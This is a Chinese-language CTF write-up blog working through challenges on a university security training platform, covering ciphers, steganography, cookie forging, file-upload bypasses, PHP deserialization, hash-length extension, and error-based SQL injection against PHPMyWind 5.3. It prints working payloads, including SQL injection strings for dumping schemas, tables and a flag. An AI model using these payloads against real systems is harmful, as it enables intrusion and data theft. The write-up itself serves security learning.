天朝挖煤CTF

中國礦業大學網絡安全實訓平臺php

你的石鍋拌飯

SGBF.png

打開連接仍是原來的頁面,仔細讀那幾句話,發現培根,並且這段話字體不一樣,
想到培根密碼。百度查表可知flag。此題源於學校三食堂有名的石鍋拌飯。。。。。html

魂鬥羅

打開連接是一個文件,分析可知是個遊戲,用模擬器打開就是經典的魂鬥羅,
提示是:上上下下左右左右,百度可知做弊代碼就是這段話,下載金手指,選關便可經過。
PS:注意flag的形式,仔細看清楚再提交哦前端

cookies?

打開連接,顯示讓以管理員身份登陸,在谷歌或者火狐瀏覽器中
F12,從新編輯消息頭,修改user=admin
提交,響應爲
cookies.png
在網址後添加k.jpg,獲得一張大佬的圖片
cookies1.png
丟進百度識圖,可知維基利亞密碼,對照表,有提示key:e,我就移動四位,得bpqaqaivwtlmvkzgxb
自信的去提交flag.....顯示錯誤。頓時崩潰,,,看來手動解是解不出來了。
丟進凱撒密碼,列出全部可能,flag通常是一句話,找出就得flag
cookies2.png
PS:凱撒密碼是維基利亞密碼的升級版(自我感受)python

我就想試試這個名字到底可以起多長

打開連接是一張圖片git

yinxie1.png

提示有說是常規隱寫,因此直接丟進Stegsolve
點擊左右鍵,發現Red plane 2,Red plane 1,Red plane 0三處變化較大,點擊右上角進行數據分析
發現0處數據爲PK開頭,百度文件類型,可知爲壓縮包,改後綴.zip,解壓獲得一個文件,丟盡Winhexgithub

yinxie1-0.png

搜索ctf獲得flagweb

yinxie1-1.png

上傳一

打開連接,是一個上傳文件的頁面,我就開始各類百度
有種方法說能夠修改後綴,我就一直嘗試各類加;jpg,.rar。最後才知道那是解析漏洞,須要針對特殊的事件
而後我就開始了一件很智障的事情,在F12中修改js源碼,。。。。然而沒什麼卵用。
shangchuan1.png
固然沒什麼用,有沒有修改服務器裏的源碼,也沒有任何的響應。只能欺騙本身
最後詢問後端組長以後,分析了js代碼,知道check函數是全局變量,能夠在控制檯修改
操做成功,抱着組長大腿聲淚俱下,徹底不懂前端,而後就能夠上傳可執行文件了。
shangchuan1-1.pngajax

PS:JS定義全局變量有三種方式
直接定義全局變量sql

var check=1;
    function check(){
    .....
    }

不用var,直接隱式定義shell

check=1;
function check(){
...
}

在控制檯中直接輸入window定義

window.check 
function check(){
....
}

我是分割線-補充於2017-03-13 23:30:17

太菜了,也只能繼續更新我天朝挖煤大學的題目了。。。。。
如下三道是組長幫助,因此就單獨列出來了

備份

打開連接,顯示1.bak,2.bak
我又試了試3.bak,5.bak都有內容顯示,因此能夠想到flag就在某個*.bak
一開始我並不會寫python,以後學了點,在組長的指導下,本身寫出來了這段代碼

##coding:utf-8
    import requests
    for i in range(3,1000):
    t = requests.get('http://219.219.61.234/challenge/web/code/'+str(i)+'.bak')
    print (i)
    if 'flag' in t.text:
        print(t.text)
    else :
        continue

怎麼說呢,這道題會寫代碼了,就很簡單了。
直接貼代碼,讓它運行就行了。。。。。。嗎?????
很不幸的是拋出了一大堆異常,鏈接服務器老是中斷,那麼問題來了:如何解決python的異常?
就是try...except...

try:
        ##你要執行的可是可能出現異常的代碼
    except (NameError,....):##錯誤類型
        ##出現了錯誤要作什麼
    else:
        ##沒錯誤要作什麼
    finally:
        ##不管上方是否拋出異常,都會執行這句話

大概就是這三種
最後的代碼是這樣的,居然flag是900多。。。。。

##coding:utf-8
    import requests
    def traverse():
        for i in range(0,1000):
            t = requests.get('http://219.219.61.234/challenge/web/code/'+str(i)+'.bak')
            if i%50 == 0:
                print (i)
            if 'flag' in t.text:
                print(t.text)
            else :
                continue
    try:
        traverse()
    finally:
        traverse()

colorSnake

打開連接,真的是一個貪吃蛇遊戲,仍是炫彩的。。orz
看到這道題第一次仍是忍不住玩了一下,可是真的好難。。。。233333
隨後先F12查看源碼,一直沒有頭緒,最後也是在組長的和組內大佬討論下,嘗試了改分數,改food出現位置,,,,然而都沒有用
最後,找到這段getScore代碼,在控制檯提交,分數變了。因此接下來直接調用JS計時器

setInterval(function(){xhr('./getScore.php',function(e){
                var r = JSON.parse(e);
                if(r.state == 200)
                    game.addScore(r.score);
                else{
                    alert(r.msg);
                    game.start()
                }
            })},1000)

PS:JS計時器setInterval

setInterval(function(){alert("Hello")},1000);

這裏記錄一下,對於這個計時器我也是鼓搗很久,已經讓我懷疑不適合學計算機。。。。
setInterval(function(){這裏面填寫要執行的代碼}),一開始我總是糾結第一個參數明明是函數代碼,爲何
不能直接貼上函數代碼,非要加個function,說實話,如今也是似懂非懂,可能仍是沒學過JS吧。。。
這裏的參數function是一個函數名或者一個對匿名函數的引用

簡單的示例,能夠自行百度

自動獲取flag程序

打開連接,是一個未完整的程序
那就很天然的F12查看源碼,提示已經說了是要修改代碼,下面是它給的源碼

// 請求參數一
    $("##a").click(function(){
        $.ajax({
            url:'param1.php',
            method:'get',
            dataType:'json',
            success:calParam2
        })
    });
    function calParam2(d){ // 獲取參數d
        var data=JSON.parse((d.param));
        var length=data.length;
        var second=new Date().getSeconds();
        var sum=0;
        for (var i = 1; i < length; i++) {
            for (var j = 0; j < length/2; j++) {
                sum+=parseInt(data[i])*second + data[j];
            } // 應該是用for循環求出參數各個數值和
        }
    // 請求flag
    $.ajax({
        url:'http://new.pmcaff.com/aram2.php?param='+sum, // 這裏url對着上面的url明顯是錯誤的
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);
        },
        error:function(s){
            alert('錯了');
        }
    })
    }

打開./param1.php,獲得的是一堆url

{"param":
    "%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C
    %228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}

解碼獲得一個數組,那就對了,能夠求和(JSON.parse的做用就是處理數據讓他能夠加和)
而後第二個url對照第一個改成:'param2.php?param='+sum,可是程序中直接獲得的參數是編碼的
因此在程序中加上解碼語句d.param=unescape(d.param)

function calParam2(d){
    d.param=unescape(d.param);
    var data=JSON.parse((d.param));
    var length=data.length;
    var second=new Date().getSeconds();
    var sum=0;
    for (var i = 1; i < length; i++) {
        for (var j = 0; j < length/2; j++) {
            sum+=parseInt(data[i])*second + data[j];
        }
    }

    // 請求flag
    $.ajax({
        url:'param2.php?param='+sum,
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);

        },
        error:function(s){
            alert('錯了');
        }
    })
}

爲何要加上d.param而不是參數d呢?我沒學過JS,可是看參數d的形式就是python字典,要解碼的是字典裏的後半部分
還有,就是我一開始在控制檯輸入以後,會一直彈出"呵呵呵呵",根據組長的解釋是傳遞參數錯誤纔會這樣,這一段
是和時間參數有關係的,因此。。。。。。。根據個人實踐,就是多點幾回,,,,可能就是成功了。這是個人理解。
真正的理解還望指教


我是分割線-補充於2017-03-25 18:17:01

233333333333orz,扶我起來,我還能水

萌萌噠

打開連接,和提示同樣,顯示的是一堆相似表情包
真的是萌萌噠啊。。。。。。
這一堆是什麼東西。不知道 就百度 就谷歌唄,最後作出來才知道,是兩種加密
第一種就是顏表情包解碼點我進解碼地址
解碼獲得下圖結果

mengmengda

改地址進入,又是一堆只有八個操做符的東西,,,,,老方法,不知道,就百度唄
最後知道這是一種語言-->Brainfuck
又是百度,各類姿式搜索,找到了解碼地址點我
丟進去,轉碼得flag!
本身不會寫工具就只能這樣了,搜搜搜。


我是分割線-補充於2017-04-7

據說你會面向對象

打開連接,看見連接咱們就會知道是PHP反序列化漏洞
可是身爲小白的我不會什麼PHP啊,也不知道什麼是反序列化,老辦法-搜搜搜。。。。

什麼是反序列化?

這問題就不贅述了,說了也是看的別人的,貼連接
這是介紹反序列化的點我
因此咱們直接構造data=O:5:"Admin":1:{s:4:"file";s:8:"flag.php";},可是。。。
ctf3-1.png

很明顯是__wakeup()是它在搞事情,那麼下面那咱們要作的就是繞過它
通過搜搜搜搜,知道此函數的一個漏洞
PHP當序列化字符串中表示對象屬性數的值大於真實的屬性個數時會跳過__wakeup()的執行
ctf3-2

整體來講這道題仍是比較基礎和簡單的,只是我太菜了,。。作了好長時間,不過也長了很多知識

上傳二

首先要說一下幾種上傳驗證手段:

 A: 客戶端js校驗(通常只校驗後綴名)
 B: 服務端校驗
   1.文件頭content-type字段校驗(image/gif)
   2.文件內容頭校驗(GIF89a)
   3.後綴名黑名單校驗
   4.後綴名白名單校驗
   5.自定義正則校驗
 C: WAF設備校驗(根據不一樣的WAF產品而定)

打開連接,和上傳一地址同樣
就是接着上傳一開始作的,首先修改JS驗證
而後用brup抓包,修改文件頭content-type字段爲:image/gif
從新發送便可

上傳二

參考文章:點我


我是分割線-補充於2017-04-15 21:27:00

最近平臺多的一些學校入門賽的題目,就不寫wp了,官方有了點我

據說這是一道簽到題目

先貼一個連接,補充點姿式數據包分析for CTF
打開連接
很明顯是一個抓取的數據包,用Wireshark打開,分析對話,在tcp流,發現異常對話

Wireshak-1

跟蹤tcp流,發現flag信息

Wireshark-2

並且function.py 這裏代碼都給出來了

Wireshark-3

直接解原字符串是不能解的,因此須要先base64
具體操做以下,用給出的代碼直接解就好了

Wireshark-4

學姐真美

PS:這也是入門賽的一道題,可是感受漲了姿式,因此想記錄下

orz,這個學姐真的美。。。。。
打開連接學姐真美
首先想到的就是隱寫術,拖進winhex
看到文件前面這一大串00000000000000000000000很讓人起疑心啊

1

直接搜索jpg結束符「FF D9」

2

結束符後邊居然還有東西,直接複製粘貼到HxD,隨便找一張png圖片對照修改文件頭,保存打開

3

這裏發現七牛雲圖不能上傳帶二維碼的東西。。。。。

4

WTF?/????

發生了什麼。。。必定是文件頭沒改對所有,接下來就是各類搜索了

5

就像圖片顯示的同樣,找到長寬位置,發現 的確是不對稱啊,修改以後再打開保存,嗯。。。。。能夠了

白駒過隙

23333333333333333,雖然這道題只有十分,可是我一直沒作出來。。。。。
打開連接白駒過隙,看到you have missed the flag
很容易想到的就是抓包。若是你仔細看的話應該會發現,連接裏面的defauIt是i的大寫。。。。(我是沒看出來)
302回調,在瀏覽器直接修改仍是會跳轉的,因此掏出神器burp,抓包,修改連接,提交
響應裏就是flag

PS:這是我遇到的。。。。。感受。。。。最。。。。。。讓我。。。。額。。。。後面的詞能夠聯想。。。。

logic

這道題很是很是很是仔細看F12源碼,就OK了
一個備份泄露,一個算是偏向社工的吧,仔細點

上傳三

條件競爭,上傳馬的同時訪問馬
靠運氣能夠迅速得flag

phpmywind

已經給了版本是5.3,打開谷歌搜索相關漏洞
有個留言板儲存型xss,和前臺注入
題目中明示刪除了後臺,要直接從數據庫中提取,這個版本xss須要後臺觸發
因此基本肯定注入

函數

下面列取注入步緅(也是第一次很認真的作注入題目)

phpmywind

首先注入,可是查詢沒有回顯,很煩,最後是插入到可直接訪問的表段解決

漏洞函數

有個東西叫作報錯盲注,全程在用,具體解釋谷歌

select count(*),concat(你要查詢的語句,floor(rand(0)*2))x from information_schema.tables group by x

一開始我在本地搭建了一下,源碼子查詢存在過濾,用char(@%27)繞過(別問我怎麼知道的,小紅跟我說的)

過濾

(改變如下代碼中N的值,一個個爆,具體解釋網上都有,這一串算種套路了)

獲取基本信息

將你要的函數放在查詢語句處

system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()鏈接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操做系統

也能夠這樣一個個爆庫

sql=select count(*),concat(char(@`%27`),(select SCHEMA_NAME from information_schema.SCHEMATA limit n,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

爆表

sql=select count(*),concat(char(@`%27`),(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA =16進制庫名 limit 0,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

爆字段

sql=select count(*),concat(char(@`%27`),(select column_name from (select * from information_schema.columns where table_name=16進製表名 and table_schema=16進制庫名 order by 1 limit 1,1)t limit 1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

顯示flag

因爲沒有select回顯,能夠想法讓他select以後插入到其餘能夠顯示的表裏
我插入到了pmw_info,具體表能夠在源碼看,方便點

sql=replace into pmw_info (`id`,`classid`,`mainid`,`picurl`,`content`,`posttime`) VALUES (3,3,1,char(@`%27`),(select flag from phpmyflag.flag ),char(@`%27`))

效果

md5

(這道題,,,就是密碼題,手動解吧,等過段時間--2017.10.03)
模仿着寫了一個相似源碼的東西,不過仍是提交不對
讓我懷疑是否是題目掛了,不過也多是我哪裏沒注意到
這裏的16進制不知道後臺源碼處理了沒有,我感受我沒讀懂題目啊。。。。。

<?php
    $key = 'safwefdsfsacxwwl'; //16位salt
    $b=$_GET['a'];
    $k = md5($key.$b);
    echo $key.$b.'<br/>';
    echo $k.'<br/>';
    if($k ===$_GET['c']){
        print 'success</br>';
    }
    else{
        print 'fail</br>';
    }
?>

生成

之前寫的一篇小結,哈希拓展攻擊
網上也是大把的資源,能夠本身搜

root@kali:~# hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: 637972
Input Key Length: 16
Input Data to Add: 70
b186167e53b172a5d5f73d664b89e80c
637972\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x0070

利用

=====================================================
2019.4.12.....快兩年了

➜  ~ hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: cyr
Input Key Length: 16
Input Data to Add: 123
76a92684ba983f68ac991912b19720ab
cyr\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00123

明文須要是16進制就好了

相關文章
相關標籤/搜索